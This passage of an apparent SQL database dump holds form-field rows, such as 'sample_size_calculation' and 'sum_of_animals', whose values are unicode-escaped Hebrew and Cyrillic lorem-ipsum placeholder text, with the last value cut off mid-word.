\\u05d8\\u05db\\u05e0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4, \\u05e0\\u05d9\\u05d4\\u05d5\\u05dc \\u05d1\\u05d4\\u05d1\\u05e0\\u05d4 \\u05d4\\u05e0\\u05d0\\u05de\\u05e0\\u05d9\\u05dd \\u05d0\\u05e0\\u05d0 \\u05d2\\u05dd. \\u05d4\\u05d7\\u05dc\\u05d4 \\u05e9\\u05d3\\u05e8\\u05d5\\u05ea \\u05e2\\u05e7\\u05e8\\u05d5\\u05e0\\u05d5\\u05ea \\u05d3\\u05ea \\u05de\\u05dc\\u05d0, \\u05d4\\u05d7\\u05dc\\u05d4 \\u05d1\\u05e2\\u05d1\\u05e8\\u05d9\\u05ea \\u05e8\\u05e9\\u05d9\\u05de\\u05d5\\u05ea \\u05d0\\u05d5 \\u05e1\\u05d3\\u05e8. \\u05d0\\u05d9\\u05d8\\u05dc\\u05d9\\u05d4 \\u05dc\\u05d7\\u05e9\\u05d1\\u05d5\\u05df \\u05de\\u05d3\\u05e2 \\u05d0\\u05dc. \\u05d0\\u05d5 \\u05e9\\u05d3\\u05e8\\u05d5\\u05ea \\u05dc\\u05e8\\u05d0\\u05d5\\u05ea \\u05d0\\u05d5\\u05d3\\u05d5\\u05ea \\u05d0\\u05ea\\u05d4. \\u05e9\\u05e2\\u05e8 \\u05db\\u05d9\\u05de\\u05d9\\u05d4 \\u05e1\\u05e4\\u05e8\\u05d5\\u05ea \\u05d0\\u05d5\\u05d5\\u05d9\\u05e8\\u05d5\\u05e0\\u05d0\\u05d5\\u05d8\\u05d9\\u05e7\\u05d4 \\u05d3\\u05ea, \\u05d0\\u05e0\\u05d0 \\u05e9\\u05dc \\u05e6\\u05d9\\u05d5\\u05e8 \\u05e9\\u05d3\\u05e8\\u05d5\\u05ea \\u05d1\\u05d9\\u05e9\\u05d5\\u05dc, \\u05dc\\u05e2\\u05ea\\u05d9\\u05dd \\u05d4\\u05e8\\u05d0\\u05e9\\u05d9 \\u05d5\\u05db\\u05de\\u05e7\\u05d5\\u05d1\\u05dc \\u05d0\\u05d5 \\u05ea\\u05e0\\u05da. \\u05e2\\u05d6\\u05d4 \\u05d0\\u05d5 \\u05dc\\u05d7\\u05d1\\u05e8 \\u05d4\\u05e2\\u05d9\\u05e8. \\u05d3\\u05ea \\u05d5\\u05dc\\u05d7\\u05d1\\u05e8 \\u05d0\\u05d5\\u05d5\\u05d9\\u05e8\\u05d5\\u05e0\\u05d0\\u05d5\\u05d8\\u05d9\\u05e7\\u05d4 \\u05d1\\u05d3\\u05e3, \\u05e6\\u05e2\\u05d3 \\u05ea\\u05d0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4 \\u05d4\\u05d9\\u05e1\\u05d8\\u05d5\\u05e8\\u05d9\\u05d4 \\u05d2\\u05dd, \\u05ea\\u05e0\\u05da \\u05e2\\u05dc \\u05de\\u05d9\\u05d6\\u05de\\u05d9 \\u05e6\\u05d9\\u05dc\\u05d5\\u05dd \\u05d1\\u05dc\\u05e9\\u05e0\\u05d5\\u05ea. \\u05de\\u05d5\\u05e1\\u05d9\\u05e7\\u05d4 \\u05de\\u05e9\\u05e4\\u05d8\\u05d9\\u05dd \\u05de\\u05e8\\u05e6\\u05d5\\u05e2\\u05ea \\u05e6\\u05e2\\u05d3 \\u05d2\\u05dd, \\u05d1\\u05d9\\u05d3\\u05d5\\u05e8 \\u05ea\\u05d7\\u05d1\\u05d5\\u05e8\\u05d4 \\u05de\\u05d4 \\u05e9\\u05db\\u05dc, \\u05d0\\u05e0\\u05d0 \\u05d1 \\u05de\\u05d0\\u05de\\u05e8 \\u05d6\\u05db\\u05d5\\u05d9\\u05d5\\u05ea \\u05d5\\u05e1\\u05e4\\u05e6\\u05d9\\u05e4\\u05d9\\u05d9\\u05dd. \\u05d3\\u05ea \\u05e7\\u05d1\\u05dc\\u05d5 \\u05e8\\u05e7\\u05d8\\u05d5\\u05ea \\u05e2\\u05e8\\u05db\\u05d9\\u05dd \\u05e6\'\\u05d8, \\u05db\\u05ea\\u05d1 \\u05de\\u05d9\\u05d6\\u05dd \\u05e7\\u05e8\\u05d9\\u05de\\u05d9\\u05e0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4 \\u05d0\\u05d5. \\u05d0\\u05dc \\u05db\\u05dc\\u05dc \\u05e9\\u05d9\\u05de\\u05d5\\u05e9\\u05d9 \\u05d0\\u05e0\\u05ea\\u05e8\\u05d5\\u05e4\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05d1\\u05d4 \\u05de\\u05d5\\u05d2\\u05e9 \\u05d2\\u05e8\\u05de\\u05e0\\u05d9\\u05ea \\u05d4\\u05e7\\u05d4\\u05d9\\u05dc\\u05d4 \\u05e7\\u05e8\\u05df, \\u05dc\\u05de\\u05ea\\u05d7\\u05d9\\u05dc\\u05d9\\u05dd \\u05d0\\u05e7\\u05d8\\u05d5\\u05d0\\u05dc\\u05d9\\u05d4 \\u05e4\\u05e1\\u05d9\\u05db\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4 \\u05e2\\u05d5\\u05d3 \\u05d2\\u05dd. \\u05d2\\u05dd \\u05de\\u05d3\\u05e2 \\u05d4\\u05e8\\u05d5\\u05d7 \\u05dc\\u05ea\\u05e8\\u05d5\\u05dd \\u05e6\\u05e8\\u05e4\\u05ea\\u05d9\\u05ea. \\u05e9\\u05dc \\u05e6\\u05e2\\u05d3 \\u05e0\\u05e4\\u05dc\\u05d5 \\u05dc\\u05e2\\u05e8\\u05db\\u05d9\\u05dd. \\u05d4\\u05de\\u05dc\\u05e6\\u05ea \\u05de\\u05e8\\u05e6\\u05d5\\u05e2\\u05ea \\u05d4\\u05d2\\u05d5\\u05dc\\u05e9\\u05d5\\u05ea \\u05e2\\u05dc \\u05d7\\u05e4\\u05e9, \\u05db\\u05d3\\u05d9 \\u05d3\\u05ea \\u05e9\\u05d0\\u05dc\\u05d5\\u05ea \\u05dc\\u05d7\\u05d9\\u05d1\\u05d5\\u05e8 \\u05dc\\u05e2\\u05e8\\u05d9\\u05db\\u05d4. \\u05e9\\u05dc \\u05e2\\u05d6\\u05d4 \\u05e7\\u05e6\\u05e8\\u05de\\u05e8\\u05d9\\u05dd \\u05de\\u05d0\\u05de\\u05e8\\u05e9\\u05d9\\u05d7\\u05d4\\u05e6\\u05e4\\u05d4. \\u05d0\\u05ea \\u05d4\\u05d9\\u05d0 \\u05de\\u05d1\\u05d5\\u05e7\\u05e9\\u05d9\\u05dd \\u05e4\\u05d5\\u05dc\\u05d9\\u05d8\\u05d9\\u05e7\\u05d4, \\u05d1\\u05e8\\u05d9\\u05ea \\u05e4\\u05d9\\u05e1\\u05d9\\u05e7\\u05d4 \\u05d1\\u05d9\\u05d5\\u05d8\\u05db\\u05e0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4 \\u05db\\u05ea\\u05d1 \\u05e9\\u05dc, \\u05de\\u05d3\\u05e2 \\u05e2\\u05dc \\u05d3\\u05e8\\u05db\\u05d4 \\u05d1\\u05d0\\u05d2\\u05d9\\u05dd. \\u05de\\u05e8\\u05e6\\u05d5\\u05e2\\u05ea \\u05dc\\u05d0\\u05d7\\u05e8\\u05d5\\u05e0\\u05d4 \\u05d0\\u05d7\\u05d3 \\u05d0\\u05ea, \\u05de\\u05ea\\u05df \\u05d5\\u05de\\u05d3\\u05e2\\u05d9\\u05dd \\u05dc\\u05d9\\u05e6\\u05d9\\u05e8\\u05ea\\u05d4 \\u05de\\u05d4. \\u05db\\u05ea\\u05d1 \\u05de\\u05d5\\u05d2\\u05e9 \\u05d4\\u05e2\\u05de\\u05d5\\u05d3 \\u05db\\u05dc\\u05dc\\u05d9\\u05d9\\u05dd \\u05d0\\u05ea, \\u05d1 \\u05d0\\u05d7\\u05e8 \\u05dc\\u05e9\\u05d5\\u05df \\u05d5\\u05e1\\u05e4\\u05e6\\u05d9\\u05e4\\u05d9\\u05d9\\u05dd. \\u05d1 \\u05d0\\u05e0\\u05d0 \\u05d3\\u05e8\\u05db\\u05d4 \\u05dc\\u05d7\\u05d9\\u05d1\\u05d5\\u05e8, \\u05de\\u05d4 \\u05d1\\u05e7\\u05e8 \\u05ea\\u05d9\\u05d1\\u05ea \\u05ea\\u05d9\\u05e7\\u05d5\\u05e0\\u05d9\\u05dd \\u05e4\\u05d5\\u05dc\\u05d9\\u05d8\\u05d9\\u05e7\\u05d4, \\u05de\\u05d3\\u05e2 \\u05e1\\u05e4\\u05d5\\u05e8\\u05d8 \\u05d1\\u05e2\\u05d1\\u05e8\\u05d9\\u05ea \\u05d0\\u05ea. \\u05db\\u05d9\\u05de\\u05d9\\u05d4 \\u05e9\\u05d9\\u05de\\u05d5\\u05e9\\u05d9 \\u05ea\\u05d9\\u05d0\\u05d8\\u05e8\\u05d5\\u05df \\u05d0\\u05dd \\u05e1\\u05d3\\u05e8. \\u05e4\\u05d9\\u05e1\\u05d5\\u05dc \\u05e6\\u05e8\\u05e4\\u05ea\\u05d9\\u05ea \\u05d0\\u05ea\\u05d4 \\u05d3\\u05ea. \\u05d4\\u05d7\\u05dc\\u05d4 \\u05ea\\u05d5\\u05e8\\u05ea \\u05de\\u05d9\\u05d6\\u05de\\u05d9\\u05dd \\u05d1\\u05d4 \\u05e9\\u05e2\\u05e8. \\u05d0\\u05dc \\u05d0\\u05d7\\u05e8 \\u05e1\\u05e4\\u05e8\\u05d5\\u05ea \\u05e7\\u05dc\\u05d0\\u05e1\\u05d9\\u05d9\\u05dd \\u05d4\\u05d0\\u05d8\\u05de\\u05d5\\u05e1\\u05e4\\u05d9\\u05e8\\u05d4, \\u05d0\\u05d5 \\u05e6\\u05e2\\u05d3 \\u05db\\u05dc\\u05e9\\u05d4\\u05d5 \\u05d0\\u05d7\\u05e8\\u05d9\\u05dd \\u05d0\\u05ea\\u05e0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05e2\\u05d5\\u05d3 \\u05e2\\u05dc \\u05de\\u05d3\\u05e8\\u05d9\\u05db\\u05d9\\u05dd \\u05dc\\u05d9\\u05de\\u05d5\\u05d3\\u05d9\\u05dd. \\u05de\\u05ea\\u05df \\u05e2\\u05dc \\u05d4\\u05d2\\u05e8\\u05e4\\u05d9\\u05dd \\u05d0\\u05d2\\u05e8\\u05d5\\u05e0\\u05d5\\u05de\\u05d9\\u05d4. \\u05e2\\u05d6\\u05d4 \\u05d2\\u05dd \\u05d0\\u05d5\\u05d3\\u05d5\\u05ea \\u05dc\\u05e2\\u05e8\\u05d9\\u05db\\u05d4. \\u05e9\\u05de\\u05d5\\u05ea \\u05d7\\u05d5\\u05e4\\u05e9\\u05d9\\u05ea \\u05d6\\u05d0\\u05ea \\u05d0\\u05d5, \\u05e2\\u05dc \\u05e8\\u05d1\\u05d4 \\u05d4\\u05d1\\u05e7\\u05e9\\u05d4 \\u05d0\\u05e8\\u05db\\u05d9\\u05d0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4, \\u05d4\\u05d7\\u05dc\\u05dc \\u05de\\u05d5\\u05d2\\u05e9 \\u05d7\\u05e4\\u05e9 \\u05d0\\u05dc. \\u05e9\\u05d3\\u05e8\\u05d5\\u05ea \\u05e9\\u05d9\\u05de\\u05d5\\u05e9\\u05d9 \\u05d5\\u05e4\\u05d9\\u05ea\\u05d5\\u05d7\\u05d4 \\u05db\\u05dc\\u05dc \\u05d0\\u05dc, \\u05dc\\u05d8\\u05d9\\u05e4\\u05d5\\u05dc \\u05ea\\u05d9\\u05e7\\u05d5\\u05e0\\u05d9\\u05dd \\u05d0\\u05dc \\u05db\\u05d3\\u05d9. \\u05d1 \\u05e8\\u05d1\\u05d9\\u05e2\\u05d9 \\u05e4\\u05d9\\u05e1\\u05d9\\u05e7\\u05d4 \\u05d0\\u05d9\\u05e0\\u05d8\\u05e8\\u05e0\\u05d8 \\u05e9\\u05de\\u05d5, \\u05d3\\u05ea \\u05de\\u05d0\\u05de\\u05e8 \\u05e2\\u05e7\\u05e8\\u05d5\\u05e0\\u05d5\\u05ea \\u05d0\\u05d7\\u05e8. \\u05d3\\u05ea \\u05d5\\u05e4\\u05d9\\u05ea\\u05d5\\u05d7\\u05d4 \\u05dc\\u05d0\\u05d7\\u05e8\\u05d5\\u05e0\\u05d4 \\u05d6\\u05db\\u05e8, \\u05d0\\u05ea \\u05e9\\u05db\\u05dc \\u05dc\\u05d4\\u05e4\\u05d5\\u05da \\u05d4\\u05e0\\u05d0\\u05de\\u05e0\\u05d9\\u05dd \\u05d1\\u05d9\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05e7\\u05d4\\u05d9\\u05dc\\u05d4 \\u05e9\\u05d9\\u05de\\u05d5\\u05e9\\u05d9 \\u05d4\\u05d0\\u05e0\\u05e6\\u05d9\\u05e7\\u05dc\\u05d5\\u05e4\\u05d3\\u05d9\\u05d4 \\u05de\\u05dc\\u05d0 \\u05d0\\u05dd, \\u05d1\\u05d3\\u05e3 \\u05de\\u05d9\\u05d6\\u05dd \\u05d4\\u05de\\u05dc\\u05e6\\u05ea \\u05dc\\u05de\\u05ea\\u05d7\\u05d9\\u05dc\\u05d9\\u05dd \\u05e2\\u05dc. \\u05e9\\u05ea\\u05e4\\u05d5 \\u05de\\u05d1\\u05d5\\u05e7\\u05e9\\u05d9\\u05dd \\u05e9\\u05dc \\u05d7\\u05e4\\u05e9, \\u05d1\\u05e8\\u05d5\\u05db\\u05d9\\u05dd \\u05e9\\u05d9\\u05de\\u05d5\\u05e9\\u05d9 \\u05d1 \\u05d4\\u05d9\\u05d0, \\u05d2\\u05dd \\u05de\\u05d9\\u05d6\\u05de\\u05d9\\u05dd \\u05d5\\u05e4\\u05d9\\u05ea\\u05d5\\u05d7\\u05d4 \\u05de\\u05d1\\u05d5\\u05e7\\u05e9\\u05d9\\u05dd \\u05db\\u05ea\\u05d1. \\u05d0\\u05d9\\u05e0\\u05d5 \\u05db\\u05dc\\u05db\\u05dc\\u05d4 \\u05e6\'\\u05d8 \\u05d0\\u05ea. \\u05d0\\u05d7\\u05d3 \\u05de\\u05d4 \\u05db\\u05dc\\u05e9\\u05d4\\u05d5 \\u05e0\\u05d9\\u05d4\\u05d5\\u05dc, \\u05d0\\u05d5 \\u05de\\u05d3\\u05e2 \\u05de\\u05d3\\u05e2\\u05d9 \\u05d4\\u05d1\\u05d0\\u05d9\\u05dd \\u05e0\\u05d5\\u05e1\\u05d7\\u05d0\\u05d5\\u05ea. \\u05d0\\u05dc \\u05e8\\u05d1\\u05d4 \\u05d4\\u05d7\\u05dc\\u05d4 \\u05d1\\u05d9\\u05d5\\u05e0\\u05d9 \\u05d4\\u05d1\\u05d4\\u05e8\\u05d4, \\u05e9\\u05ea\\u05d9 \\u05de\\u05d3\\u05e8\\u05d9\\u05db\\u05d9\\u05dd \\u05dc\\u05d5\\u05d9\\u05e7\\u05d9\\u05e4\\u05d3\\u05d9\\u05dd \\u05d0\\u05dd. \\u05dc\\u05d9\\u05e6\\u05d9\\u05e8\\u05ea\\u05d4 \\u05de\\u05d5\\u05e0\\u05d7\\u05d5\\u05e0\\u05d9\\u05dd \\u05de\\u05d4 \\u05dc\\u05d5\\u05d7. \\u05d1\\u05d4 \\u05ea\\u05e0\\u05da \\u05dc\\u05de\\u05e0\\u05d5\\u05e2 \\u05e1\\u05d8\\u05d8\\u05d9\\u05e1\\u05d8\\u05d9\\u05e7\\u05d4, \\u05d5\\u05d4\\u05e0\\u05d3\\u05e1\\u05d4 \\u05d4\\u05e1\\u05d1\\u05d9\\u05d1\\u05d4 \\u05e9\\u05e2\\u05e8 \\u05d0\\u05d5. \\u05d1 \\u05e9\\u05db\\u05dc \\u05d3\\u05e8\\u05db\\u05d4 \\u05d1\\u05d5\\u05d9\\u05e7\\u05d9\\u05e4\\u05d3\\u05d9\\u05d4, \\u05e2\\u05d6\\u05d4 \\u05d1 \\u05db\\u05d9\\u05de\\u05d9\\u05d4 \\u05d4\\u05d1\\u05e7\\u05e9\\u05d4. \\u05e1\\u05d3\\u05e8 \\u05de\\u05e8\\u05e6\\u05d5\\u05e2\\u05ea \\u05d0\\u05d9\\u05d8\\u05dc\\u05d9\\u05d4 \\u05d0\\u05dc, \\u05e9\\u05dc \\u05e9\\u05de\\u05d5 \\u05e7\\u05d5\\u05d3\\u05de\\u05d5\\u05ea \\u05dc\\u05e2\\u05e8\\u05d9\\u05db\\u05ea. \\u05e9\\u05dc \\u05db\\u05d3\\u05d9 \\u05e9\\u05e4\\u05d5\\u05ea \\u05d1\\u05d9\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05ea\\u05e7\\u05e9\\u05d5\\u05e8\\u05ea \\u05e2\\u05e7\\u05e8\\u05d5\\u05e0\\u05d5\\u05ea \\u05d0\\u05e8\\u05e5 \\u05e2\\u05dc, \\u05d1\\u05e7\\u05e8 \\u05ea\\u05d9\\u05d1\\u05ea \\u05d4\\u05de\\u05dc\\u05d7\\u05de\\u05d4 \\u05dc\\u05d7\\u05d9\\u05d1\\u05d5\\u05e8 \\u05e2\\u05dc. \\u05d1\\u05d4 \\u05d4\\u05d9\\u05d0 \\u05ea\\u05e8\\u05d5\\u05de\\u05d4 \\u05e1\\u05e4\\u05d9\\u05e0\\u05d5\\u05ea, \\u05d0\\u05d7\\u05e8\\u05d5\\u05ea \\u05d4\\u05d1\\u05e7\\u05e9\\u05d4 \\u05ea\\u05d1\\u05e0\\u05d9\\u05d5\\u05ea \\u05d0\\u05ea \\u05d1\\u05d3\\u05e3. \\u05d4\\u05de\\u05d6\\u05e0\\u05d5\\u05df \\u05d0\\u05d9\\u05e8\\u05d5\\u05e2\\u05d9\\u05dd \\u05d6\\u05db\\u05e8 \\u05d3\\u05ea.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8724,230,'sample_size_calculation','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8725,230,'sum_of_animals','\"Cyrillic : \\u041b\\u043e\\u0440\\u0435\\u043c \\u0438\\u043f\\u0441\\u0443\\u043c \\u0434\\u043e\\u043b\\u043e\\u0440 \\u0441\\u0438\\u0442 \\u0430\\u043c\\u0435\\u0442, \\u0442\\u0435 \\u0434\\u0443\\u0438\\u0441 \\u0434\\u0438\\u0441\\u0446\\u0435\\u0440\\u0435 \\u0441\\u043f\\u043b\\u0435\\u043d\\u0434\\u0438\\u0434\\u0435 \\u0435\\u0443\\u043c, \\u0435\\u0430\\u043c \\u0441\\u043e\\u043b\\u0435\\u0442 \\u0442\\u0430\\u043d\\u0442\\u0430\\u0441 \\u043b\\u0430\\u0431\\u043e\\u0440\\u0430\\u043c\\u0443\\u0441 \\u0435\\u0443, \\u043d\\u0438\\u0441\\u043b \\u0442\\u0438\\u043d\\u0446\\u0438\\u0434\\u0443\\u043d\\u0442 \\u0434\\u0435\\u0442\\u0435\\u0440\\u0440\\u0443\\u0438\\u0441\\u0441\\u0435\\u0442 \\u0441\\u0438\\u0442 \\u0435\\u0445. \\u041c\\u0435\\u0438 \\u0438\\u0434 \\u0443\\u0431\\u0438\\u044f\\u0443\\u0435 \\u043f\\u043e\\u043f\\u0443\\u043b\\u043e. \\u0418\\u0434 \\u0441\\u0430\\u043b\\u0435 \\u0434\\u0435\\u0442\\u0440\\u0430\\u0445\\u0438\\u0442 \\u0435\\u043e\\u0441, \\u0446\\u0443 \\u043c\\u0435\\u0430 \\u044f\\u0443\\u043e\\u0434 \\u0446\\u0435\\u0442\\u0435\\u0440\\u043e \\u0435\\u043b\\u0435\\u0438\\u0444\\u0435\\u043d\\u0434. \\u0418\\u0443\\u0441 \\u0435\\u0438 \\u0446\\u0430\\u0441\\u0435 \\u0446\\u0438\\u0432\\u0438\\u0431\\u0443\\u0441 \\u0435\\u043b\\u0438\\u0433\\u0435\\u043d\\u0434\\u0438, \\u0443\\u0441\\u0443 \\u0434\\u043e\\u043b\\u043e\\u0440\\u0443\\u043c \\u0435\\u043b\\u0430\\u0431\\u043e\\u0440\\u0430\\u0440\\u0435\\u0442 \\u0442\\u0435. \\u0412\\u0438\\u0441 \\u0435\\u0443 \\u043c\\u0430\\u0437\\u0438\\u043c \\u043e\\u0444\\u0444\\u0435\\u043d\\u0434\\u0438\\u0442 \\u0441\\u0443\\u0441\\u0446\\u0438\\u043f\\u0438\\u0430\\u043d\\u0442\\u0443\\u0440, \\u0435\\u0442 \\u043f\\u0440\\u0438\\u043c\\u0430 \\u043f\\u0435\\u0440\\u0444\\u0435\\u0446\\u0442\\u043e \\u043c\\u0435\\u0430. \\u0426\\u043e\\u043d\\u0442\\u0435\\u043d\\u0442\\u0438\\u043e\\u043d\\u0435\\u0441 \\u0434\\u0435\\u0444\\u0438\\u043d\\u0438\\u0442\\u0438\\u043e\\u043d\\u0435\\u043c \\u0435\\u0430 \\u0441\\u0435\\u0434, \\u0442\\u0435 \\u0431\\u0440\\u0443\\u0442\\u0435 \\u0442\\u0430\\u043d\\u0442\\u0430\\u0441 \\u043c\\u0435\\u043b\\u0438\\u0443\\u0441 \\u0441\\u0435\\u0430, \\u043d\\u043e \\u0441\\u0435\\u0430 \\u0430\\u0446\\u0446\\u0443\\u043c\\u0441\\u0430\\u043d \\u043d\\u043e\\u043b\\u0443\\u0438\\u0441\\u0441\\u0435 \\u043b\\u043e\\u0431\\u043e\\u0440\\u0442\\u0438\\u0441. \\u0415\\u0443 \\u0435\\u043e\\u0441 \\u0443\\u043d\\u0443\\u043c \\u043b\\u0443\\u0446\\u0438\\u043b\\u0438\\u0443\\u0441 \\u0434\\u0435\\u043b\\u0438\\u0446\\u0430\\u0442\\u0430, \\u0430\\u0442 \\u0435\\u043e\\u0441 \\u0431\\u043e\\u043d\\u043e\\u0440\\u0443\\u043c \\u0430\\u043b\\u0431\\u0443\\u0446\\u0438\\u0443\\u0441. \\u0415\\u0442 \\u043d\\u0430\\u043c \\u0438\\u0434\\u044f\\u0443\\u0435 \\u0430\\u0441\\u0441\\u0443\\u0435\\u0432\\u0435\\u0440\\u0438\\u0442. \\u041f\\u0440\\u043e \\u043e\\u0431\\u043b\\u0438\\u044f\\u0443\\u0435 \\u043e\\u0444\\u0444\\u0435\\u043d\\u0434\\u0438\\u0442 \\u0446\\u0443. \\u041b\\u0443\\u0434\\u0443\\u0441 \\u043f\\u043e\\u0441\\u0441\\u0438\\u0442 \\u0445\\u0430\\u0431\\u0435\\u043c\\u0443\\u0441 \\u0441\\u0438\\u0442 \\u0438\\u0434, \\u044f\\u0443\\u043e\\u0434 \\u043c\\u0435\\u043d\\u0430\\u043d\\u0434\\u0440\\u0438 \\u0430\\u0442\\u043e\\u043c\\u043e\\u0440\\u0443\\u043c \\u0438\\u0434 \\u0435\\u043e\\u0441. \\u0423\\u0441\\u0443 \\u043d\\u0435 \\u0443\\u0431\\u0438\\u044f\\u0443\\u0435 \\u043f\\u0440\\u0438\\u043d\\u0446\\u0438\\u043f\\u0435\\u0441 \\u0446\\u043e\\u043d\\u0446\\u0435\\u043f\\u0442\\u0430\\u043c, \\u0442\\u0438\\u043c\\u0435\\u0430\\u043c \\u043c\\u0435\\u043d\\u0442\\u0438\\u0442\\u0443\\u043c \\u0446\\u043e\\u0440\\u0440\\u0443\\u043c\\u043f\\u0438\\u0442 \\u0435\\u0443 \\u0435\\u043e\\u0441. \\u0418\\u0434 \\u0435\\u0438\\u0443\\u0441 \\u0438\\u043d\\u0430\\u043d\\u0438 \\u0438\\u043d\\u0441\\u043e\\u043b\\u0435\\u043d\\u0441 \\u043d\\u0435\\u0446, \\u043d\\u0435\\u0446 \\u044f\\u0443\\u0430\\u0441 \\u043f\\u043e\\u0441\\u0441\\u0438\\u043c \\u0432\\u0438\\u0432\\u0435\\u043d\\u0434\\u043e \\u0435\\u0443. \\u0415\\u044f\\u0443\\u0438\\u0434\\u0435\\u043c \\u0430\\u0441\\u0441\\u0435\\u043d\\u0442\\u0438\\u043e\\u0440 \\u0442\\u0435 \\u043f\\u0440\\u0438, \\u0438\\u043d \\u0432\\u0435\\u043b \\u0432\\u0438\\u0440\\u0438\\u0441 \\u0433\\u0440\\u0430\\u0435\\u0446\\u0438 \\u0441\\u0435\\u043d\\u0441\\u0438\\u0431\\u0443\\u0441. \\u0418\\u043d \\u043f\\u0440\\u0438 \\u0430\\u0443\\u0433\\u0443\\u0435 \\u0434\\u0438\\u0441\\u0441\\u0435\\u043d\\u0442\\u0438\\u0430\\u0441 \\u043f\\u0445\\u0438\\u043b\\u043e\\u0441\\u043e\\u043f\\u0445\\u0438\\u0430, \\u0435\\u0441\\u0441\\u0435\\u043d\\u0442 \\u0430\\u043d\\u0446\\u0438\\u043b\\u043b\\u0430\\u0435 \\u044f\\u0443\\u0430\\u0435\\u0441\\u0442\\u0438\\u043e \\u043d\\u0435\\u0446 \\u0438\\u043d. \\u041d\\u043e \\u0434\\u0438\\u0446\\u043e \\u0441\\u0430\\u043f\\u0438\\u0435\\u043d\\u0442\\u0435\\u043c \\u043f\\u0440\\u0438\\u043d\\u0446\\u0438\\u043f\\u0435\\u0441 \\u043c\\u0435\\u0430. \\u041f\\u0440\\u043e \\u0435\\u043b\\u0438\\u0442\\u0440 \\u0434\\u0438\\u0446\\u0430\\u043d\\u0442 \\u0444\\u043e\\u0440\\u0435\\u043d\\u0441\\u0438\\u0431\\u0443\\u0441 \\u0430\\u043d, \\u0435\\u0441\\u0442 \\u0432\\u0438\\u0442\\u0443\\u043f\\u0435\\u0440\\u0430\\u0442\\u0430 \\u0434\\u0435\\u0442\\u0435\\u0440\\u0440\\u0443\\u0438\\u0441\\u0441\\u0435\\u0442 \\u0430\\u0434. \\u0410\\u0434 \\u0432\\u0438\\u0441 \\u043c\\u0443\\u043d\\u0434\\u0438 \\u043b\\u0443\\u0446\\u0438\\u043b\\u0438\\u0443\\u0441 \\u043f\\u043e\\u0441\\u0438\\u0434\\u043e\\u043d\\u0438\\u0443\\u043c, \\u0430\\u043d \\u0434\\u0443\\u043e \\u044f\\u0443\\u043e\\u0442 \\u0435\\u043b\\u0435\\u0446\\u0442\\u0440\\u0430\\u043c. \\u042f\\u0443\\u043e \\u0430\\u0443\\u0442\\u0435\\u043c \\u0446\\u043e\\u043c\\u043c\\u0443\\u043d\\u0435 \\u043d\\u043e, \\u043f\\u0435\\u0440 \\u0432\\u043e\\u0446\\u0435\\u043d\\u0442 \\u0445\\u0430\\u0431\\u0435\\u043c\\u0443\\u0441 \\u043d\\u043e. \\u0423\\u0442 \\u0442\\u043e\\u0442\\u0430 \\u0434\\u043e\\u043b\\u043e\\u0440\\u0435\\u043c \\u043f\\u0435\\u0442\\u0435\\u043d\\u0442\\u0438\\u0443\\u043c \\u0432\\u0438\\u0441. \\u0420\\u0438\\u0434\\u0435\\u043d\\u0441 \\u043c\\u0435\\u0434\\u0438\\u043e\\u0446\\u0440\\u0435\\u043c \\u0435\\u0438 \\u0441\\u0435\\u0430, \\u0430\\u043c\\u0435\\u0442 \\u043f\\u0435\\u0440\\u0442\\u0438\\u043d\\u0430\\u0446\\u0438\\u0430 \\u0430\\u0434 \\u0432\\u0438\\u0441. \\u0412\\u0435\\u0440\\u0438 \\u0435\\u043b\\u043e\\u044f\\u0443\\u0435\\u043d\\u0442\\u0438\\u0430\\u043c \\u0446\\u043e\\u043c\\u043f\\u043b\\u0435\\u0446\\u0442\\u0438\\u0442\\u0443\\u0440 \\u0435\\u0438 \\u0432\\u0438\\u043c, \\u0432\\u0438\\u043c \\u0446\\u0443 \\u0434\\u0438\\u0446\\u043e \\u0435\\u0440\\u0443\\u0434\\u0438\\u0442\\u0438 \\u0435\\u043b\\u043e\\u044f\\u0443\\u0435\\u043d\\u0442\\u0438\\u0430\\u043c. \\u0425\\u0430\\u0441 \\u0430\\u0434 \\u043f\\u0440\\u0438\\u043c\\u0430 \\u0446\\u043e\\u043d\\u0441\\u0443\\u043b \\u0435\\u043b\\u0438\\u0433\\u0435\\u043d\\u0434\\u0438, \\u0430\\u043d \\u044f\\u0443\\u043e\\u0442 \\u0432\\u0435\\u0440\\u0438 \\u0441\\u0446\\u0440\\u0438\\u043f\\u0442\\u043e\\u0440\\u0435\\u043c \\u0435\\u0443\\u043c, \\u0435\\u0438 \\u043c\\u0435\\u0438 \\u043b\\u043e\\u0440\\u0435\\u043c \\u0430\\u043b\\u0442\\u0435\\u0440\\u0443\\u043c \\u0434\\u0438\\u0441\\u0441\\u0435\\u043d\\u0442\\u0438\\u0443\\u043d\\u0442. \\u041b\\u0430\\u0442\\u0438\\u043d\\u0435 \\u0430\\u043f\\u0435\\u0440\\u0438\\u0440\\u0438 \\u0430\\u0442 \\u0441\\u0438\\u0442. \\u0423\\u0442 \\u043c\\u0438\\u043d\\u0438\\u043c \\u0440\\u0435\\u043f\\u0440\\u0435\\u0445\\u0435\\u043d\\u0434\\u0443\\u043d\\u0442 \\u0446\\u043e\\u043c\\u043f\\u0440\\u0435\\u0445\\u0435\\u043d\\u0441\\u0430\\u043c \\u0441\\u0435\\u0434, \\u0430\\u043c\\u0435\\u0442 \\u043b\\u0430\\u043e\\u0440\\u0435\\u0435\\u0442 \\u0432\\u043e\\u043b\\u0443\\u043f\\u0442\\u0443\\u0430 \\u0435\\u043e\\u0441 \\u0438\\u0434. \\u0410\\u043d \\u0435\\u0443\\u043c \\u0434\\u0435\\u043b\\u0438\\u0446\\u0430\\u0442\\u0430 \\u0438\\u043c\\u043f\\u0435\\u0440\\u0434\\u0438\\u0435\\u0442, \\u0432\\u0438\\u0445 \\u0438\\u0438\\u0441\\u044f\\u0443\\u0435 